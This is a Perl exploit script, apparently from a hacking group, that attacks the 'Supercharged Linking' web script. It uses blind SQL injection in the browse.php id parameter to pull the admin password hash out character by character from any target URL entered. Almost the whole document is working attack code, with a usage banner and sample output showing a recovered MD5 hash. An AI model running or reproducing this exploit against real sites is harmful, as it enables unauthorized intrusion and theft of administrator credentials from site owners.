#!/usr/bin/perl

#==========================================================================================#
#                                                                                          #
# [o] Ed Charkow's Supercharged Linking Blind SQL Injection Exploit                        #
#      Software   : Ed Charkow's Supercharged Linking                                      #
#      Buy Script : http://www.infodepot3000.com/Scripts/content/supercharged_linking.html #
#      Author     : NoGe                                                                   #
#      Contact    : noge[dot]code[at]gmail[dot]com                                         #
#      Blog       : http://evilc0de.blogspot.com                                           #
#                                                                                          #
# [o] Usage                                                                                #
#      root@noge:~# perl link.pl                                                           #
#                                                                                          #
#      [x]============================================================[x]                  #
#       | Ed Charkows Supercharged Linking Blind SQL Injection Exploit |                   #
#       |              [F]ound by NoGe [C]oded by Vrs-hCk              |                   #
#      [x]============================================================[x]                  #
#                                                                                          #
#      [+] URL Path : www.target.com/[path]                                                #
#      [+] Valid ID : 1                                                                    #
#                                                                                          #
#      [!] Exploiting http://www.target.com/[path]/ ...                                    #
#                                                                                          #
#      [+] SELECT password FROM admin LIMIT 0,1 ...                                        #
#      [+] md5@password> de9e3ae793d300ce7ee4742d4513cb06                                  #
#                                                                                          #
#      [!] Exploit completed.                                                              #
#                                                                                          #
#      root@noge:~#                                                                        #
#                                                                                          #
# [o] Greetz                                                                               #
#      MainHack BrotherHood [ http://mainhack.net ]                                        #
#      Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang aJe                                 #
#      H312Y yooogy mousekill }^-^{ loqsa zxvf martfella                                   #
#      skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke                                       #
#                                                                                          #
#==========================================================================================#

use HTTP::Request;
use LWP::UserAgent;

$cmsapp = 'crotz';
$vuln   = 'browse.php?id=';
$table  = 'admin';
$column = 'password';
$regexp = "No links for this category could be found";
$maxlen = 32;

my $OS = "$^O";
if ($OS eq 'MSWin32') { system("cls"); } else { system("clear"); }

printf "\n
                              $cmsapp
 [x]============================================================[x]
  | Ed Charkows Supercharged Linking Blind SQL Injection Exploit |
  |              [F]ound by NoGe [C]oded by Vrs-hCk              |
 [x]============================================================[x]

\n";

print "\n [+] URL Path : "; chomp($web=<STDIN>);
print " [+] Valid ID : "; chomp($id=<STDIN>);

if ($web =~ /http:\/\// ) { $target = $web."/"; } else { $target = "http://".$web."/"; }

print "\n\n [!] Exploiting $target ...\n\n";
&get_data;
print "\n\n [!] Exploit completed.\n\n";

sub get_data() {
  print " [+] SELECT $column FROM $table LIMIT 0,1 ...\n";
  syswrite(STDOUT, " [+] md5\@password> ", 20);
  for (my $i=1; $i<=$maxlen; $i++) {
    my $chr = 0;
    my $found = 0;
    my $char = 48;
    while (!$chr && $char<=57) {
      if(exploit($i,$char) !~ /$regexp/) {
        $chr = 1;
        $found = 1;
        syswrite(STDOUT,chr($char),1);
      } else { $found = 0; }
      $char++;
    }
    if(!$chr) {
      $char = 97;
      while(!$chr && $char<=122) {
        if(exploit($i,$char) !~ /$regexp/) {
          $chr = 1;
          $found = 1;
          syswrite(STDOUT,chr($char),1);
        } else { $found = 0; }
        $char++;
      }
    }
    if (!$found) {
      print "\n\n [!] Exploit completed.\n\n";
      exit;
    }
  }
}

sub exploit() {
  my $limit = $_[0];
  my $chars = $_[1];
  my $blind = '+and+substring((select+'.$column.'+from+'.$table.'+limit+0,1),'.$limit.',1)=char('.$chars.')';
  my $inject = $target.$vuln.$id.$blind;
  my $content = get_content($inject);
  return $content;
}

sub get_content() {
  my $url = $_[0];
  my $req = HTTP::Request->new(GET => $url);
  my $ua  = LWP::UserAgent->new();
  $ua->timeout(5);
  my $res = $ua->request($req);
  if ($res->is_error){
    print "\n\n [!] Error, ".$res->status_line.".\n\n";
    exit;
  }
  return $res->content;
}